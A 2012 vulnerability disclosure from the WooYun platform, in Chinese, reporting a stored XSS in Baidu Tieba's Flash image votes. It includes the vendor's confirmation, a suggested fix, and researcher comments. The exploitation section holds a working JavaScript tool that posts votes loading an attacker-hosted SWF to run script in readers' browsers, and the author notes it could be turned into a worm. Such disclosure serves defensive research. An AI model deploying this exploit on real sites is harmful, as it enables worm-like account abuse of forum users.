当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08354

漏洞标题:百度贴吧存储型XSS - Flash又中枪了~~

相关厂商:百度

漏洞作者: gainover

提交时间:2012-06-16 12:06

修复时间:2012-07-31 12:07

公开时间:2012-07-31 12:07

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-16: 细节已通知厂商并且等待厂商处理中
2012-06-19: 厂商已经确认,细节仅向厂商公开
2012-06-29: 细节向核心白帽子及相关领域专家公开
2012-07-09: 细节向普通白帽子公开
2012-07-19: 细节向实习白帽子公开
2012-07-31: 细节向公众公开

简要描述:

由于是帖子正文的存储型Xss,自动触发,可蠕虫,危害你们比俺清楚。

详细说明:

发现流程如下:
1. 平时有事没事的时候,就会去自己的gainover吧测试一下。
2. 今天晚上又去了,一直还没用过投票功能咧,就进去看了下。
3. 发现有一个图片投票的功能,于是就随便弄了3个图,发布了一下。
4. 发布之后,发现这个投票,是Flash做的。


5. 既然图片是在Flash里加载的,那么肯定是用的 Loader类来加载外部图片URL实现的了。
6. 直觉告诉我,这里可能存在一处安全问题。
7. 这里存在安全问题需要满足几个条件,A. 投票的flash允许执行脚本,即allowscriptaccess需为samedomain/未设置/always,但是投票的flash文件与百度贴吧不同域,因为allowscriptacess必须为always。 B. flash里未对外部加载的URL内容进行判断
8. F12 打开调试工具,可以看到我们运气真好,allowscriptaccess是always,希望就在前方。


9. 接着我们再次去发表投票的位置,将其中一个图片地址改为 http://xsst.sinaapp.com/Xjs.swf#.gif, 提交的时候,提示如下:


10. 但是,抓包不难看出,这种验证仅仅是客户端的验证。我们修改请求数据,很容易就成功绕过了。
11. 用抓包工具,查看我们生成的投票。可以看见,确实调用了我们的flash文件。

http://static.tieba.baidu.com/tb/flash/vote.swf?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003



进一步用以下代码在本地进行模拟 (例如:http://localhost/tieba.htm)。

<embed src="http://static.tieba.baidu.com/tb/flash/vote.swf?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003" allowscriptaccess="always" type="application/x-shockwave-flash"></embed>


成功弹窗。
12. 综上,我们在 7 里所说的2个条件,此处均满足,也就意味着,确实存在安全问题。
-------------------- 漏洞利用篇 -------------------------
上面是分析过程,下面为了方便我们对此漏洞的利用,我们对投票过程加以分析。可以得到以下流程。
1. 添加一个投票:POST http://tieba.baidu.com/vote/commit/add_vote?alt=json
2. 获取贴吧tbs: GET http://tieba.baidu.com/dc/common/tbs?t=0.7085538243409246
3. 发表一个投票贴: POST http://tieba.baidu.com/f/commit/vote/add
4. 关联投票与投票贴: POST http://tieba.baidu.com/vote/commit/add_vote_relation?alt=json
基于以上步骤,我拿js写了一个简单的发帖工具:

<textarea id="t" style="width:100%;height:150px"></textarea>
<input type="button" value="Post a Xss vote" onclick="ok()" />
<script type="text/javascript">
var config={
"kw":"gainover",
"id":"751341",
"title":"Just test for fun"
};
//添加一个投票
function addVote (){
$("t").value+="添加投票中....\n";
Net.post("http://tieba.baidu.com/vote/commit/add_vote?alt=json",{
"product_name":"forum",
"title":config.title,
"expire_time":"2012-06-22 21:18:44",
"item_type":"1",
"max_select_num":"1",
"perm":"0",
"attr_key_1":"forum_name",
"attr_value_1":config.kw,
"attr_key_2":"forum_id",
"attr_value_2":config.id, //gainover吧
"item_title_1":"vote 1:"+$R(6,"ns"),
"item_content_1":"http://xsst.sinaapp.com/Xjs.swf#1.gif",
"item_title_2":"vote 2:"+$R(6,"ns"),
"item_content_2":"http://imgsrc.baidu.com/forum/pic/item/b9d3efb1c21a60589a50274f.jpg",
"item_title_3":"vote 3:"+$R(6,"ns"),
"item_content_3":"http://imgsrc.baidu.com/forum/pic/item/b9d3efb1c21a60589a50274f.jpg",
"ie":"utf-8"
},function(rs){
$("t").value+="添加投票成功\n";
var vid=rs.vote_id;
var sid=rs.sign_id;
getTBS(function(rs){
addVotePost(rs.tbs,vid,sid);
});
},"json");
}
//获得tbs
function getTBS (callback){
$("t").value+="获取tbs参数....\n";
Net.get("http://tieba.baidu.com/dc/common/tbs?t="+Math.random(),function(rs){
$("t").value+="添加tbs参数成功\n";
if(callback){
callback(rs);
}
},"json");
}
//添加一个投票贴
function addVotePost (tbs,vid,sid){
$("t").value+="发表投票贴中....\n";
Net.post("http://tieba.baidu.com/f/commit/vote/add",{
"kw":config.kw,
"title":config.title,
"content":"",
"tid":"0",
"floor_num":"0",
"anonymous":"",
"rich_text":"",
"pic_url":"",
"sign_id":"",
"vcode":"",
"fid":config.id,
"vid_md5":vid+","+sid,
"vcode_md5":"",
"ie":"utf-8",
"tbs":tbs
},function(rs){
if(rs.no==0&&rs.error==""){
$("t").value+="发表带Xss的投票贴成功\n";
addVoteRelation(rs.data.tid,vid,sid);
}else{
$("t").value+="addVotePost("+tbs+","+vid+","+sid+") 出错\n";
}
},"json");
}
//将投票贴与投票关联
function addVoteRelation (tid,vid,sid){ //thread_id,vote_id,sign_id
Net.post("http://tieba.baidu.com/vote/commit/add_vote_relation?alt=json",{
"product_name":"forum",
"id_1":tid,
"id_2":config.id,
"vote_id":vid,
"sign_id":sid,
"ie":"utf-8",
"_":""
},function(rs){
$("t").value+="Complete, it's OK!!!";
},"json");
}
function ok (){
$("t").value="";
addVote();
}
</script>


当然以上过程,修改为自动化的话,就变蠕虫啦,这里我只是给出一个本地点击一下按钮,即可发布一篇带有Xss的投票贴的演示。


-----------------------------------------
效果见漏洞证明!

漏洞证明:

见:http://tieba.baidu.com/p/1665378430 (为了安全考虑,帖子会自动加载我的no.js,但是no.js里的代码已经被我删掉,因而不会有弹窗。)
下面是我截的弹窗图
---------------------------


---------------------------
抓包加载图
---------------------------


---------------------------
调试工具节点图
---------------------------

修复方案:

我想,这个投票只是个投票请求,应该不需要FLASH与js的交互吧,因而将投票的flash的allowscriptaccess参数改为never是最简单的解决办法。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-06-19 14:43

厂商回复:

感谢提交,我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-16 12:18 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我擦。追的好紧啊。

  2. 2012-06-16 12:27 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    = = g牛昨晚你对我说的就是这个?

  3. 2012-06-16 14:15 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    一楼压力好大啊、、

  4. 2012-06-16 15:30 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    这两天的经验告诉我,心动不如行动

  5. 2012-06-16 15:38 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    应该是快鱼吃慢鱼

  6. 2012-06-16 16:14 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @水滴 哈~ 对的,快鱼吃鳗鱼

  7. 2012-06-16 16:22 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @gainover大概能猜出一个思路来,登号去试试,登着登着发现一处xss

  8. 2012-06-16 16:56 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @水滴 :)

  9. 2012-06-16 17:20 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @gainover 然后鸡肋了

  10. 2012-06-16 17:25 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @水滴 = = 怎么鸡肋了?

  11. 2012-06-17 08:17 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    啥时候出个手机版乌云

  12. 2012-07-10 09:18 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞

  13. 2012-07-31 13:32 | also ( 普通白帽子 | Rank:424 漏洞数:52 | 招渗透/php/前端/ios&android安全,广州地...)

    @gainover 给力哟,不知道跨站师使用的是什么插件抓包

  14. 2012-07-31 14:12 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    !

  15. 2012-07-31 14:23 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    那只猫,看上去,像拖了长长的一窜那个啥……

  16. 2012-08-02 08:16 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    猫哥大神...膜拜

  17. 2012-08-02 08:21 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    @also chrome

  18. 2012-08-02 09:38 | also ( 普通白帽子 | Rank:424 漏洞数:52 | 招渗透/php/前端/ios&android安全,广州地...)

    @erevus ····其实你懂意思吗?! chrome是浏览器,他自带的是firebug,我指的是他倒数第二张图!

  19. 2012-08-02 20:30 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    目测是chrome的插件